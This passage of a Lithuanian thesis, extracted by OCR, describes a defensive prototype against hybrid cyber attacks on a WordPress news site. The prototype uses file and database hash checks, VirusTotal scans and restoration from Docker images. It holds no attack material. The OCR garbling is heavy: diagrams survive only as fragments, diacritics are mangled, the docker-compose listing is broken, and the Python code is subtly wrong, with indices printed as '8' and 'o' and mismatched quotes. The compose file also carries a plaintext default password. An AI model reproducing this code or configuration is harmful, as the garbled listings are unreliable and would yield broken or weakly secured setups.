Prevencinis m etodas MaiSos reikSmiy duom eny bazé

s

" sukuriam as
faily ir katalogy
sarasas

( Apdorojam i i
| failai ir katalogai

Ar tai katalogai?

Ne

y

Archyvuojam i
katalogai

]

‘> Sukuriami |
| unikalis raktai

1

Skaiéiuojam os [ Ira3omi nauji
maisos jrasai pagal
funkcijos unikalius
reikimés { raktus

\

®

9 pav. PA2. Skaiciuoti faily ir katalogy maisSos funkcijos reiksmes veiklos diagrama
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,,Skaiciuoti faily ir katalogy maiSos funkcijos reik§mes* funkcija atvaizduota 9 pav. sukuria faily
ir katalogy sarasa, pagal kur] apdorojami duomenys. Jeigu apdorojami katalogai, vykdomas
papildomas archyvavimo veiksmas, priesingu atveju iSkart sukuriami unikaliis raktai ir skai¢uojamos
maiSos funkcijos reikSmés. Apskaiciuotos maiSos funkcijos reikSmeés jraSomos | maisos reikSmiy
duomeny baze pagal unikalius raktus.

Prevencinis metodas Atvaizdy saugykla

,L AT
Sukuriam as I[rasom as
duomeny duomeny
bazés bazés
konteinerio konteinerio
\ atvaizdas \ atvaizdas )
[ Sukuriamas [ Irasomas )
informacinés inform acinés
sistemos sistemos
konteinerio konteinerio
| atvaizdas | atvaizdas )

|
®

10 pav. PA3. Sukurti sistemos atvaizda veiklos diagrama

,»,Sukurti sistemos atvaizda“ funkcija pateikta 10 pav. sukuria duomeny bazés konteinerio atvaizda
ir jj jraSo ] atvaizdy saugykla. Sekanciu zingsniu pakartojami tie patys veiksmai informacinés
sistemos konteinerio atvaizdui sukurti ir jraSyti j atvaizdy saugykla.

Prevencinis metodas Duomeny bazé Maios reikdmiy duomeny bazé

Nuskaitomi
a| lenteliy |

pavadinimai
SR ——

Parenkamos

reikiamos 4)| Nuskaitomi |

lentelés lenteliu
_ duomenys

e

Parenkami
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]l

Sukuriami
unikallds raktai |

Skaifiuojamos
maisos
funkcijos
reikimeés

[ Nuskaitomi
Ar maigos J irasai pagal

funkcios reikEmeés ’I unikalius
sutampa? raktus

A ]

Na\ ~[ Taip
W

nas

prane&imas,
jog jradai
nepakite

Ira&omi aptikti
pakeitimai ‘

11 pav. PA4. Tikrinti duomeny bazés jrasy maiSos funkcijos reikSmes veiklos diagrama
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., Tikrinti duomeny bazés jrasy maisos funkcijos reikSmes* funkcija atvaizduota 11 pav. nuskaito
duomeny bazés lenteliy pavadinimus, juos atrenka ir pagal lenteliy pavadinimus nuskaito duomenis
1§ lenteliy. JraSai nuskaityti i§ lenteliy taip pat atrenkami ir jiems sukuriami unikaliis raktai. Sekanc¢iu
zingsniu skai¢iuojamos maisos funkcijos reikSmés ir nuskaitomos zinomos maiSos reikSmeés pagal
unikalius raktus. Jeigu zinomos maiSos funkcijos reik§més nesutampa su naujai apskai¢iuotomis
reikSmémis, jraSomi aptikti pakeitimai. PrieSingu atveju, metodui neaptikus maiSos reikSmiy
pakeitimy, graZzinamas pranesimas, jog duomeny bazés jrasai néra pakite.

Prevencinis metodas Mai3 os reik8 miy duomeny bazé

X
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| |ras omi aptikti ‘ F)J'La;?:i::.il?rsl
pakeitimai katalogai
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———

12 pav. PAS. Tikrinti faily ir katalogy maiSos funkcijos reiksmes veiklos diagrama

,» Tikrinti faily ir katalogy maiSos funkcijos reikSmes* funkcija pavaizduota 12 pav. sukuria faily
ir katalogy sgraSa, pagal kurj apdorojami duomenys. Jeigu apdorojami katalogai, vykdomas
papildomas archyvavimo veiksmas, priesingu atveju iskart sukuriami unikals raktai ir skai¢iuojamos
maiSos funkcijos reikSmeés. Sekanciu zingsniu pagal unikalius raktus nuskaitomos zZinomos maiSos
funkcijos reikSmés, kurios palyginamos su naujai apskaiiuotomis. Jeigu aptinkama, jog reikSmés
pakitusios, atliekamas naujy faily tikrinimas kenkéjisky faily duomeny bazéje ir pakeitimy jraSymas
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1 failg. Jeigu metodas neaptinka jokiy maisos funkcijos reikSmiy pakeitimy, gragZzinamas praneSimas,
jog failai ir katalogai nepakite.

Prevencinis metodas Kenkéjisky faily duomeny bazé

;L (" Tikrinamas
(" Nuskaitomas ) failas
failas F I.(enkejlskq
S—d faily duomeny
{ bazéje )

¢ /

A

(" lrasomi gauti \‘
rezultatai

13 pav. PAG. Patikrinti failg kenkéjisky faily duomeny bazéje veiklos diagrama

»Patikrinti failg kenkéjisky faily duomeny bazéje funkcija pavaizduota 13 pav. nuskaito faila,
siuncia patikrinimui j kenk¢jisky faily duomeny bazg ir gautus analizés rezultatus jraso j faila.

Prevencinis metodas | Atvaizdy saugykla
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konteinerio
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konteineris

14 pav. Atkurti sistemg i§ atvaizdo veiklos diagrama

»Atkurti sistemg 1§ atvaizdo* funkcija pavaizduota 14 pav. sukuria veikian¢iy duomeny bazés ir
informacinés sistemos konteineriy atvaizdus ir sustabo veikian¢ius konteinerius. Sustabdzius
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konteinerius iSsaugomi srauto failai ir parsiunciami naujausi atvaizdai i§ atvaizdy saugyklos.
Naudojantis naujausiais atvaizdais paleidziami duomeny bazés ir informacinés sistemos konteineriai,
po kuriy paleidimo laikoma, jog sistema atkurta j pradine buisena.

2.2.1. MaiSos reik§miy skaiciavimas

Siekiant uztikrinti kuo efektyvesnj ir greitesnj maiSos funkcijos reikSmiy skai¢iavimg, maiSos
reik§més skaiciuojamos ir tikrinamos sudarant failinés sistemos medzio struktiira.

Pavyzdiné failinés sistemos medzio strukttra pateikiama 15 pav.

1-as lygis Katalogas

= e

. Katalogas Failas
2-as lygis

3 Failas Katalogas
3-as lygis

F Failas Failas
4-as lygis

15 pav. Failings sistemos medzio struktiiros diagrama

Kiekvienas katalogas ir failas informacinéje sistemoje gali biiti atvaizduojamas téviniu
(diagramoje pavaizduotas Zalia spalva) arba paprastu (diagramoje pavaizduotas raudona spalva) lapu.
Diagramoje atvaizduoti lygiai nurodo katalogo gylj, kuris pradedamas skaiCiuoti nuo pacio
aukscCiausio tévinio arba Sakninio katalogo. Téviniai lapai — tai katalogai, kuriuose gali bati Kity
katalogy arba faily, o paprasti lapai — failai. Leidziantis medziu zemyn lygiais nuo auks¢iausio 1-0jo
lygio tévinio lapo, galima uztikrinti, jog bus skai¢iuojamos tik reikalingos maiSos reik§més. Jeigu
aptinkama, jog tévinio lapo maiSos reikSmeé yra pakitusi, tai reiskia, jog failai ar katalogai esantys
tame kataloge yra pakeisti, todél pradedamos skaic¢iuoti vaikiniy lapy esan¢iy Zemesniuose lygiuose
maiSos funkcijos reikSmes, kol randamas pakites failas ar katalogas.

Paruostas specialus komponentas periodiskai tikrina viesai prieinamos sistemos failus auksciau
apraSyta failinés sistemos medzio struktira, skai¢iuoja jy maisos funkcijos reikSmes ir tikrina su
duomeny bazgje iSsaugotomis reik§mémis. Kadangi vieSai prieinama versija néra atnaujinama i
interneto ir laikoma, jog turéty biiti nekintanti duomeny atzvilgiu, aptikus bet kokj failo ar duomeny
pasikeitimg pradedamas atstatymo procesas. Aptikus failo pasikeitima, failas papildomai gali bati
siunCiamas patikrinimui ] Zinomy kenkeéjiSky programy duomeny baze, siekiant nustatyti ar
pakeitimai yra zinomi ir kenkéjiski. Abiem atvejais, jeigu aptinkama, kad pakeistas failas turi
kenk¢jiSkoms programoms biidingy pozymiy arba net jeigu jie yra nerandami — sistemos biisena yra
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1Ssaugoma ir pradedamas atstatymo ] prading sistemos biiseng procesas. Taip siekiama uZztikrinti, jog
metodas apsaugo ir nuo naujausiy ataky, kuriy poZymiai dar gali biiti neZinomi ir neaptinkami.

2.2.2. Sistemos atstatymo procesas

Atstatymo metu pazeista sistema yra iSjungiama, o srautas nukreipiamas ] atsarging sistemos
kopija. PaZeista sistema Su Vvisais pakeitimais yra iSsaugoma detalesnei analizei, o vietoje jos
paleidziama tiksli etaloninés sistemos kopija. Po pagrindinés sistemos jjungimo, srautas nukreipiamas
atgal | pagrinding kopija. Naujai paleidus etaloninés sistemos kopija automatiSkai atstatomi
modifikuoti failai ir duomenys, todél sistema veikia taip, kaip veiké iki pazeidimo.

Abstrakti pagrindinés kopijos atstatymo ir srauto paskirstymo diagrama pateikiama 16 pav.

Atvaizdy saugykla

PaleidZiama
etaloninés
sistemos
kopija

v
mauja viedai pnemama\ / Atsargine kopija \

kopija

K/leéar prieinama kopija

Duomeny

bazé

Duomen
baz

Duomenys Duomenys

Informaciné sistema

Basimas Laikinai
srautas srautas nukreiptas
po atsatymo srautas

Vartotojal

Uzblokuotas

16 pav. Pagrindinés sistemos kopijos atstatymas ir srauto paskirstymas

ISsaugota pazeistos sistemos kopija leidZia vélesniu laikotarpiu detaliau iSanalizuoti pazeista
sistemg ir nustatyti atakos vektorius bei atakuojamg sritj. Detali analiz¢ leidZia imtis papildomy
veiksmy prevencijai, tokiy kaip papildomy taisykliy pridéjimas ugniasienéje ar tam tikry IP adresy
réziy blokavimas, rasty pazeidZiamumy iStaisymas.

2.3. Informacinés sistemos kiirimas

Hibridiniy kibernetiniy ataky prevencinis metodas skirtas informaciniy sistemy apsaugai, todél
realizacijos metu taip pat kuriama informaciné sistema. Informaciné sistema kuriama naudojant
Wordpress informacinés sistemos ir MySQL duomeny bazés Docker konteinerius.
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Sukurta informaciné sistema turéty biiti pana$i | internetiniy Ziniy portalus, todél pasirinktas
internetiniy ziniy stilius ir uzpildyta jvairiais straipsniais ir nuotraukomis. Informacinéje sistemoje
pateikiami straipsniai ir nuotraukos yra prieinami naudotojams ir gali biiti perzitiréti.

2.4. Funkciniai, nefunkciniai ir saugos reikalavimai

Prevenciniam metodui keliami Sie funkciniai, nefunkciniai ir saugos reikalavimai:

2.4.1.

A -

2.4.3.

Funkciniai reikalavimai

Metodas turi vykdyti duomeny bazés jrasy ir faily bei katalogy vientisumo patikrinimus;
Metodas turi uztikrinti galimybe tikrinti failus dél zinomy kenkéjisky programy pozymiy
iSorin¢je duomeny bazgje;

Metodas turi uztikrinti galimybe sistema atstatyti j prading jos blisena,

Metodas turi uztikrinti pazeistos sistemos biisenos iSsaugojima detalesnei analizei;

Metodas turi uztikrinti srauto faily i§saugojima detalesnei analizei;

Nefunkciniai reikalavimai

Turi buti uztikrinamas greitas ir efektyvus maiSos funkcijos reikSmiy skaiCiavimas ir
tikrinimas su minimaliu kolizijy Kiekiu;
MaiSos funkcijos reik§mes turi biiti saugomos sparc¢ioje duomeny bazgje;

Saugos reikalavimai

Naudojantis prevenciniu metodu turi bati uztikrinama skirtingy aplinky izoliacija naudojantis
konteinerizacijos technologija;
Etaloniné sistema gali biiti pasiekiama tik i$ vidinio tinklo;

2.5. Skyriaus apibendrinimas

1.

Pasiiilytas prevencinis metodas remiasi maiSos reikSmiy skai¢iavimo algoritmu, kuris
naudojamas duomeny bazés jrasy ir sistemos faily bei katalogy vientisumui uztikrinti. Nors
maisos reikSmiy skaiCiavimas tiesiogiai neapsaugo nuo kibernetiniy ataky, taciau gali padéti
laiku pastebéti sistemoje pakeistus ar naujai atsiradusius failus iki jvykstant informacinei
atakai;

Sitlomas sprendimas pagrjstas ne tik specialiy komponenty ir technologijy panaudojimu,
taCiau ir specifiniu informacinés sistemos diegimu. Siekiant visapusiSkai apsaugoti
informacine sistema yra sukuriama etaloniné informaciné sistema izoliuotoje aplinkoje, o
viesai prieinama tik tiksli sistemos kopija;

Prevencinis metodas uztikrina sistemos atstatyma j pradine biiseng, kurios metu likviduojami
hibridinés kibernetinés atakos padariniai — paSalinamos ,,galinés durys“ ir atstatoma
informacija;

Maisos reikSmiy skaiciavimas ir tikrinimas atliekamas failinés sistemos medzio strukttra, kuri
leidZia sumaZinti tikrinamy maiSos reikSmiy skai¢iy iki minimalaus;

Pasiiilytas sprendimas taip pat uZtikrina galimybe tikrinti failus Zinomy kenkéjisky programy
duomeny bazéje bei iSsaugoti pazeistos sistemos biiseng kartu su srauto failais detalesnei
analizei.
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3. Hibridiniy kibernetiniy ataky prevencijos informacinése sistemose metodo prototipas

Siame skyriuje aprasytas hibridiniy kibernetiniy ataky prevencijos informacinése sistemose
metodo prototipas. Pateikiama pasirinkty technologijy, kuriomis nutarta realizuoti metodo prototipa
apzvalga ir pateikiamas detalus prototipo apra§ymas naudojant UML notacija.

3.1. Pasirinkty technologijuy apZvalga

Hibridiniy kibernetiniy ataky prevencijos informacinése sistemose metodas pasirinktas realizuoti
iSnaudojant naujausias technologijas ir jrankius. Konteinerizacijos technologija pasirinkta dél plataus
panaudojimo galimybiy ir populiarumo debesy kompiuterijoje.

3.1.1. Docker

Docker — tai atviro kodo konteineriy technologija, leidzianti talpinti programing jranga
konteineriuose, kurie izoliuoti nuo operacinés sistemos. D¢l izoliacijos vienu metu leidziama paleisti
didelj kiekiy konteineriy tame paciame serveryje. Konteineriai resursy atzvilgiu yra ,,lengvi® ir juose
yra viskas, ko reikia programai paleisti, todél nepriklauso nuo operacinés sistemos ir jdiegty pakety
pagrindiniame serveryje [34].

»Docker naudoja kliento-serverio architektura, klientas bendrauja su pagrindiniu servisu, kuris
atlieka konteineriy kiirimo, paleidimo ir platinimo darbus. Klientas ir pagrindinis servisas bendrauja
naudodami REST API, UNIX lizdus arba tinklo sasaja.

DOCKER_HOST :

docker build .-{---d Docker daemon I
~..' =~ ~ ~ %
N
\
L, =

:“H
A

™

<
docker pull - l - \\ . 3

N\, ' NGIMX
~ \'\. /
N\, /./ /

docker run —}

17 pav. ,,Docker* architektira [34]

3.1.2. xxHash

xxHash - ypac greitas, ne kriptografinés paskirties maiSos funkcijos reiksmiy (angl. hash)
skai¢iavimo algoritmas, veikiantis kompiuterio operatyviosios atminties (angl. RAM) greiciu.
Algoritmas pasizymi puikiu nasumu tiek apdorojant trumpas, tiek ilgas jvestis ir pasizymi puikiomis
sklaidos ir atsitiktinumo savybémis, taip sumazindamas kolizijy skai¢iy iki minimalaus teorinio lygio

[35].
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3.1.3. Aerospike

Aerospike — greita rakty-reik§miy duomeny bazé, sugebanti uztikrinti nuspéjamg, milisekundziy
trukmeés uzklausy atsakymo laikg. Duomeny bazé pasizymi dideliu patikimumu, lankstumu ir greiciu,
todél placiai naudojama realiojo laiko sprendimuose, tokiuose kaip [36]:

e rekomendaciniai varikliai;

e pokalbiy ir praneSimy siuntimas;

e telekomunikacijy apmokestinimui;
e sukciavimo prevencijos vykdymui.

3.1.4. HAProxy

HAProxy — nemokamas, labai greitas ir patikimas sprendimas, sitilantis auksta prieinamuma,
apkrovos balansavimg ir tarpinj serverj TCP ir HTTP protokolais pagristoms programoms. Tai ypac
tinkantis jrankis labai didelio srauto interneto svetainéms ir suteikia galimybe naudotis daugeliu
lankomiausiy pasaulio svetainiy. Per daugel] mety jrankis tapo standartiniu atviro kodo apkrovos
balansatoriumi (angl. loadbalancer), kuris jtraukiamas j daugelio pagrindiniy ,,Linux* operacinés
sistemos distribucijy [37].

3.1.5. Tcpdump

Tcpdump — pakety analizatorius, kuris stebi ir registruoja TCP/IP srauta, einantj tarp tinklo ir
kompiuterio, kuriame jis vykdomas. Irankis skirtas teikti statistikg apie gauty ir uzfiksuoty pakety
skaiCiy veikian¢iame mazge, kad bty galima analizuoti tinklo na§uma, derinti ir diagnozuoti tinklo
klittis bei kitas  tinklg orientuotas uzduotis [38].

3.1.6. VirusTotal API

VirusTotal APl — leidzia jkelti ir nuskaityti failus, tikrina juos su daugiau nei 70 antivirusiniy
skaitytuvy ir URL / domeny blokavimo paslaugy, be to, sitilo daugybe jrankiy signalams is$ tiriamojo
turinio iSgauti [39].

3.2. Hibridiniy kibernetiniy ataky prevencijos metodo prototipo struktiira

Tyrimui atlikti sukurta Wordpress informaciné sistema, kuri naudoja MySQL duomeny bazg.
Izoliuotos informacinés sistemos konteineriy paleidimo parametrai pateikiami 18 pav.
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version: "3.3"

services:
db_1isolated:
image: 192.168.0.106:5000/mysql:latest
container_name: db_isolated
volumes:
- ./data/mysql:/var/lib/mysql
restart: always
ports:
- "127.0.0.1:3306:3306"

ER: wordpress
MYSQL_PASSWORD: wordpress

wordpress_isolated:
- db_isolated
container_name: wp_isolated
image: 192.168.0.106:5000/wordpress:latest
volumes:
- ./data/wordpress:/var /www/html

- "127.0.0.1:8080:80"
restart: always
environm
db_1isolated:3306
wordpress
ORD: wordpress
wordpress
http://127.0.0.1:8080"
: "http://127.0.0.1:8080"

18 pav. Izoliuotos informacinés sistemos konteineriy paleidimo parametrai

Izoliuota informacing¢ sistema paleidziama dviem konteineriais:

1. db_isolated — MySQL duomeny baz¢, naudojama Wordpress informacinés sistemos;
2. wp_isolated — Wordpress informaciné sistema.

Informacinés sistemos pagrindinis puslapis su straipsniais ir nuotraukomis pateikiamas 19 pav.

RYTY EKSPRESAS

o T ORI WS T

Svarbu

L 2022-sisisis laukia taika

Aktualu

S LR
<
| Axtuaw |

Po nemaloniy dieny ateina permainos: sinoptikai
turi gery Finiy

UZDaryrs| -
dél

2022-aisiais Laukia taika, bet ne ekonomikos ir judéjimo ribojimai pratesiami dar
atsigavimas i

© 2mén ago Jomas Ruitaitis

19 pav. Informacinés sistemos pagrindinis puslapis

Informacingéje sistemoje jdéti jvairtis naujieny straipsniai su nuotraukomis, kuriuos naudotojai gali
perzitreéti.
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Python programavimo kalba paruosti du moduliai, kurie naudojami skaiéiuoti ir tikrinti duomeny
ir faily maisos funkcijos reikSmes, taip pat patikrinti failus VirusTotal API duomeny bazéje.
Papildomai naudojamas srauto surinkéjas ir skirstytuvas, skirti surinkti ir paskirstyti srautus. Diegimo
diagrama pateikiama 20 pav.

«devices
Serveris

«execution environments
Operaciné sistema |

«execution environments «execution environments

Hibridiniy kibernetiniy ataky prevencijos Docker
metodas cartifacts [
> Aerospike
e duomeny bazé
«components [ ‘ - — I S '»
MaiSos | =52 Sz «artifacts [}
reikSmiy | i ittt = Docker
skaiciavimo | == > atvaizdy saugykla
modulis i o Sl
€ = L
-~ 4=y = -
= —~ | «execution environments
«components [t Etaloniné sistema
MaiSos I =
reikSmiy c
tikrinimo Wordpress | |  «artifach 5]
modulis s informaciné | MysQL
~ sistema duomeny bazé

«execution environment»
———— =7 e Viesai prieinama kopija (1,2)
«components | «components |

Srauto = Srauto ycee Lo
skirstytuvas surinkéjas «component» = 5 P‘

HAProxy Tcpdump Wordpress partacs D)
informaciné i pySal

" duomeny bazé

sistema e e ]

20 pav. Hibridiniy kibernetiniy ataky prevencijos metodo ir kity komponenty diegimo diagrama

Diegimo diagramoje atvaizduotos aplinkos ,,Etaloniné sistema® ir ,,VieSai prieinama kopija (1,2)”,
apibendrinant jose naudojamos informacinés sistemos ir duomeny bazés konteinerius, paleistus per
Docker. Prevencinis metodas ir srauty surinkéjas bei skirstytuvas diegiamas serverio operacinéje
sistemoje ir yra nepasiekiamas i$ anks¢iau minéty aplinky dél konteinerizacijos technologijos ir jos
teikiamos izoliacijos.

3.3. Hibridiniy kibernetiniy ataky prevencijos metodo prototipo veikimo modelis

Hibridiniy kibernetiniy ataky informacinése sistemose metodo prototipo viena i$ svarbiausiy daliy
yra maisos reikSmiy skaiciavimas. Maisos reik§miy skaiCiavimas atlickamas visiems Wordpress
informacinés sistemos failams ir katalogams, taip pat pasirinktiems MySQL duomeny bazés jrasams.
Faily ir katalogy bei duomeny bazés jraSy apskai¢iuotos maisSos reikSmes jraSomos j Aerospike
duomeny bazg ir yra pasiekiamos maiSos reikSmiy tikrinimo modulio.

Duomeny bazés jrasy maisos funkcijos reikSmiy sukiirimo ir i§saugojimo programinio kodo dalis
pateikiama 21 pav..
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def make_db_hashes(cursor, client, ignore_tables, ignore_entries):

show_tables_query = "SHOW TABLES"
cursor.execute(show_tables_query)
tables = []

for table in cursor:

if tablel[8] not in ignore_tables: # Discord u ecessary taobles

tables.append(table[8])
for table in tables:
table_query = ("SELECT # FROM {}".format(table))
cursor.execute(table_query)
for entry in cursor:

21 pav. Duomeny bazés jrasy maiSos funkcijos reikSmiy skaic¢iavimo programinis kodas

if entry[1] not in ignore_entries: # Discord ecessary entries

entry_id = entry[o]
key_value = "{}_{}".format(table, entry_id)
entry_hash_value = ubelt.hash_data(str(entry), hasher='xx64")
key = ('hashes', 'db_' + table, key_value)
try:
client.put(key,
{'id': key_value, 'value': entry_hash_value,
"timestamp': int(datetime.now().timestamp())})
except Exception as e:
print("Error: {8}".format(e), file=sys.stderr)

Maisos funkcijos reikSmiy skaic¢iavimas atlieckamas pasirinktoms duomeny bazés lenteléms ir
jrasams. Dalis lenteliy ir jraSy yra praleidziama, kadangi juose saugomi kintantys metaduomenys,

kurie tikrinimo metu visados grazina skirtingas maiSos funkcijos reikSmes.
Pilnas mai$os reik§miy skai¢iavimo modulio veikimas atvaizduotas sekos diagrama ir pateikiamas

22 pav.

Prevencinis metodas

‘ Informaciné sistema | | Aerospike duomeny bazé ‘

| Docker atvaizdy saugykla

1
|
loop T’

1: Tikrinami failinés sistemos katalogai ir failai N

[Kel yra nenuskaityty katalogy ir faily]

1
|

T

|

|

|

2. GraZinamas katalogas arba failas :
3. SkaiCiuojama maiZos funkcios reikdme :
|

|

|

|

4; Irafomalatnaujinama maiiuls funkcijos reik&meé
T

alt . . - . [ .
S: GraZinamas sékminge jrafymo/atnaujinime pranedimas
[Iragymas sekmingas] <r-—————-——- - —"= == - - - - - - - - = 7
|
|
|
______ S
5 |
[Irasymas nesekmingas] & Gra¥inamas ir o
=_-— - — = = = = = == - - === — — — — T
|
|
T
|
I
I
|
L
[100p | 7: Skaftoma duomeny bazés lentelé !

[Kol yra nenuskaityty lenteliy]

& GraZinami lentelés duomenys

9: Skaidiucjama maifos funkcijos reikimé

10: Jraoma/atnaujinama maling"unkcuns reikime

alt

[Iragymas nesekmingas]

T
N L 11: GraZinamas sékmingo \raéymniainau]mlmn praneiimas
[Iragymas sékmingas] = - = — —

22 pav. Maisos reikSmiy skai¢iavimo modulio sekos diagrama

e — — _ o ZnommER A TEA T e ]
|
|

| |

13: Sukuriami atvaizdai : :

» 1

L 14: GraZinami sukurti atvaizdai 'I_I :

I |

| 15: radomi atvaizdai |

I I

A 16: Grazifjamas sékmingo fraSymo pransdimas |
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Maisos reikSmiy skai¢iavimo modulis atlieka etaloninés sistemos faily, katalogy ir duomeny bazés
jraSy maisos funkcijos reikSmiy skai¢iavima ir uztikrina jy jraSyma j Aerospike duomeny bazg.
Papildomai sukuriami etaloninés informacinés sistemos ir duomeny bazes atvaizdai, kurie naudojami
vieSai prieinamoms aplinkoms paleisti. Naujai sukurti atvaizdai iSsaugomi atvaizdy saugykloje ir
prieinami abiejy moduliy.

Maisos reikSmiy tikrinimo modulio veiklos diagramos pateiktos 23 pav. - 24 pav.

| Informaciné sistema | |Aerospil(e duomeny bazé ‘

| i
I 1: Tikrinamas auk$&iausio lygio tévinis katalogas L

2 GraZinamas katalogas

|
4: Nuskaitoma maigos funkcijos reikEme katalogui

»
L 5 GraZinama maifos funkcijos reikEme -—u
____________ e — — — — —
8: Tikrinama ar mai¥os funkcijos reikimés sutampa | |
| |
i i
i i
I I
alt | |
| |
[Reikémes sutampa] 7: Gra¥inamas pransiimas, jog failai nepakeisti : :
i i
i i
,,,,,,,,,,,,,,,,,,,,,,,, S
- | |
[ReikEmés nesutampa] | |
loop | |
i i
[Kol randami visi pakeisti ar nauiji failai] | |
I I
[1oop | 8: Tikrinamas failas arba katalogas | |
. Ny s |
[Kol tikrinamas vienas medZio ygis] e 9 GraZinamas failas arba katalogas |
____________ |
10: Skaitiuojama maifos funkcijos reik¥mé | |
| |
i i
11: Nuskaitoma maigos funkcijis reikdmé . :

i

12: GraZinama maiSos funkcijos reikEmé
13: Tikrinama ar maiSos funkcijos reikSmés sutampa‘
i

7

opt 14

[Reikimeés nesutampa]

Zsaugojamas failo ar katalogo vardas

U

15: Pereinama j femesnj medZio lygj

U

loop 16: Skaitoma duomeny bazés lentelé

»
Kol kait lenteli P .

[IKol yra nenuskaityly lenteiiy] L 17: GraZinami lentelés duomenys 'U

i

loop 18: Skaiiuojama maifos funkcios reikimeé |

[Kolyra duomenuy] :

i
18: Nuskaitoma maigos funkcijos reikdmé
T

20: Grafinama maifos funkcijos reikEmé

21: Tikrinama ar maifos funkcijos reikSmés sutampa‘
i

U

_°ﬂJ 22: IZsaugomi duomenys
[Reikimés nesutampa]

U

alt 23: GraZinamas pranefimas,

[Méra pakeistu/naujy faily ar duomeny bazés jrady] jog failai ar duomenys nepaksisti

[¥ra pakeisty/naujy faily ar duomeny bazés jrafy]
24: Pradedamas atstatyme procesas

23 pav. Maisos reikSmiy tikrinimo modulio veiklos diagrama. 1 dalis

MaiSos reikSmiy tikrinimo modulyje, siekiant metoda sukurti kuo efektyvesn; ir naSesnj, pasirinkta
tikrinti faily ir katalogy maiSos reikSmes, iSlaikant medzio struktiira. Tikrinimo metu pradzioje
tikrinamos auks¢iausio lygio katalogy ir faily maiSos reikSmés. Jeigu aptinkamas katalogo
pasikeitimas, tikrinama kataloge esanciy faily ir katalogy maiSos funkcijos reikSmés, kol randamas
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nepakites katalogas ar failas. Sitokiu biidu uZtikrinama, jog patikrinimo metu yra tikrinamas
minimalus faily ir katalogy kiekis.

| Informaciné sistema | Docker atvaizdy saugykla | | Srauto analizatorius

i 1: Sukuriami atvaizdai

|
|
| |

2 GraZinami sukurti atvaizdai

e ]
!

3: 1E=augomi sukurti atvaizdai j failus

4: Stabdomi konteineriai

&: Paiimami srauto failai

]
| 7: GraZinami srauto failai 'U
= - —- - - - - - - - = = =] - = = = = = = = — — -_—— - = = = =

8: Atsisiundiami naujajsi atvaizdai

I
L S Atsisiysti naujausi atvaizdai 'U

24 pav. Maisos reik§miy tikrinimo modulio veiklos diagrama. 2 dalis

Sistemos atstatymo procesas, kuris gali buti vykdomas maiSos funkcijy tikrinimo modulio
pateikiamas 24 pav.. Atstatymo procesas sukuria dar veikiancios sistemos atvaizdus ir juos i§saugo j
failus. Veikiantys sistemos konteineriai yra sustabdomi ir paimami jy srauto failai, kurie i§saugomi
Salia atvaizdy. Sekanciu zingsniu parsiun¢iami naujausi etaloninés sistemos atvaizdai i§ Docker
atvaizdy saugyklos ir paleidziama sistema naudojant naujausius atvaizdus.

Maisos funkcijos reik§més saugomos Aerospike duomeny bazéje ir yra iSskaidytos j skirtingus
rinkinius. Aerospike rinkiniai atitinka SQL duomeny baziy lenteles, taciau skiriasi tuo, jog eilutés
neturi 1§ anksto apibréZtos schemos. D¢l patogumo dazniausiai naudojami tie patys stulpeliy
pavadinimai visoms eilutéms, taiau tai néra bitina sglyga.

Aerospike saugomi maisos funkcijos reiksmiy duomeny rinkiniai pateikiami 25 pav.

iction | i s-count | set

"hashes"
"hashes"
"hashes"
"hashes"
"hashes”
"hashes"

"db_wp_commentmeta
"db_wp_comments"
"db_wp_posts”
"db_wp_tcp_countries”
"db_wp_tcp_currencies”
"db_wp_tcp_tax_rates”

"hashes"
"hashes"
"hashes"
"hashes"
"hashes"
"hashes"
"hashes"
"hashes"

"db_wp_terms"
"db_wp_usermeta”
"db_wp_users”
"db_wp_websitez_stats"
"wp_folders"”

"wp_files"
"db_wp_wp_sap_answers”
"db_wp_wp_sap_questions”
"db_wp_wp_sap_surveys”

+ +
| |
| |
| |
| |
| |
| "hashes" " e’ " "e" | "db_wp_term_taxonomy"
| "0’ |
| |
| |
| |
| |
| |
| |
| |
| |

25 pav. Aerospike saugomy maisos funkcijos reik§miy duomeny rinkiniai
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Duomenys saugomi Aerospike duomeny bazéje yra atskirti j atskirus rinkinius pagal duomeny
vietg arba tipg. Kiekviena MySQL duomeny bazés lentelé turi atskirg rinkinj, taip pat yra atskirti ir
faily bei katalogy rinkiniai. Kiekviename rinkinyje yra uzpildyti trys stulpeliai:

1. Failo vardas / Katalogo vardas / Unikalus identifikatorius
2. Maisos funkcijos reikSmé
3. Laiko zymé

Maisos funkcijos reikSmiy duomeny modelis pateikiamas 26 pav.

db_wp_commentmeta

wp_folders

attnbutes

db_wp_tcp_tax_rates

fos

alln

+D +D +Katalogo pﬁ'."ﬁdlni-n:lﬁs

+Maigos funkcios reikime +Maisos funkcijos reikEme +Maigos funkcijos rekimeé

+Laike Zyme +Laiko Zyme +Laiko Zymé

db_wp_comments db_wp_term_taxonomy wp_files

arnouies ariinbures aitnbures

+D +D +Failo pavadinimas

+Maigos funkcios reikimé +Maisos funkcijos reikEmeé +Maigos funkcijos rekimé

+Laiko Zyme +Laiko Fyme +Laiko Zymeé

db_wp_posts db_wp_terms db_wp_wp_sap_answers

arnouies artnbures aitnbures

+D +D +D

+Maigos funkcios reikimé +Maigos funkcijos reikdme +Maigos funkciios rekimé

+Laike Zyme +Laiko Zyme +Laiko Zyme

db_wp_tcp_countries

db_wp_usermeta

db_wp_wp_sap_questions

arnbues

arnbures

alnbures

+D +D +D
+Maigos funkcijos reikime +Maigos funkcijos reikime +Maigos funkcijos reikimé
+Laike Zymé +Laiko Zymeé +Laiko Zymé

db_wp_tcp_currencies

db_wp_users

alnbuies

alnbuies

db_wp_wp_sap_surveys

AlLNDUIes

+D +D +D
+Maigos funkcios reikime +Maigos funkcijos reikime +Maigos funkcijos reikimeé
+Laiko Zyme +Laiko Zymé +Laiko Zyme

db_wp_websitez_stats

alnbuies
+D
+Maigoz funkcijos reikime
+Laike Zyme

26 pav. MaiSos funkcijos reik§miy duomeny modelis

ReikSmiy nuskaitymas 1§ Aerospike rinkiniy atliekamas pagal vardg arba duomeny bazés jraso
unikaly identifikatoriy. Kiekvienas rinkinys yra nepriklausomas vienas nuo kito ir neturi tarpusavio

rysiy.
3.4. Skyriaus apibendrinimas

1. Realizacijos metu sukurta Wordpress informaciné sistema internetiniy ziniy tema,

2. Remiantis hibridiniy kibernetiniy ataky informacinése sistemose prevencijos metodu
realizuotas prototipas, kuris skirtas hibridiniy kibernetiniy ataky prevencijai,

3. Realizuotas prevencinis metodas naudoja maiSos funkcijos reik§miy skaic¢iavimg ir uztikrina
sistemos atstatymg j prading blisena;

